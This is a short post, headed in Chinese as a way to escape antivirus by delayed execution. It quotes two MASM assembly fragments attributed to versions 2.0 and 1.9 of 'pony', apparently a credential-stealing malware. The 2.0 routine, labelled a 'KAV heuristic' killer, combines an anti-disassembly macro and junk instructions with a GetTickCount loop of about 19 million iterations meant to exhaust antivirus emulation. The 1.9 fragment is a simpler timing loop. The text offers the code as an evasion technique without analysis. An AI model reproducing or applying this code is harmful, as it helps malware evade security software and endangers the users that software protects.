通过延迟执行的方法来逃逸杀软

pony 2.0

; KAV heuristic fucker

KAVHeurKiller proc uses esi
    LOCAL   counter: DWORD
    AntiDisasmTrick
    push    eax
    mov ecx, ecx
    pop eax
    mov ecx, ecx
    push    eax
    sub esi, esi
    pop eax
    mov ecx, ecx
    push    19131011
    mov ecx, ecx
    pop counter
    mov edx, eax
    .WHILE  counter
        mov edx, eax
        mov ecx, ecx
        add eax, esi
        mov edx, eax
        mov ecx, ecx
        push    eax
        mov ecx, ecx
        mov edx, eax
        invoke  GetTickCount
        mov ecx, ecx
        pop eax
        mov edx, eax
        mov ecx, ecx
        add eax, edx
        mov ecx, ecx
        mov edx, eax
        dec counter
    .ENDW
    ret
KAVHeurKiller endp

pony 1.9

.WHILE  TRUE
    invoke  GetTickCount
    mov ecx, 10
    xor edx, edx
    div ecx
    .IF edx == 5
        .BREAK
    .ENDIF
.ENDW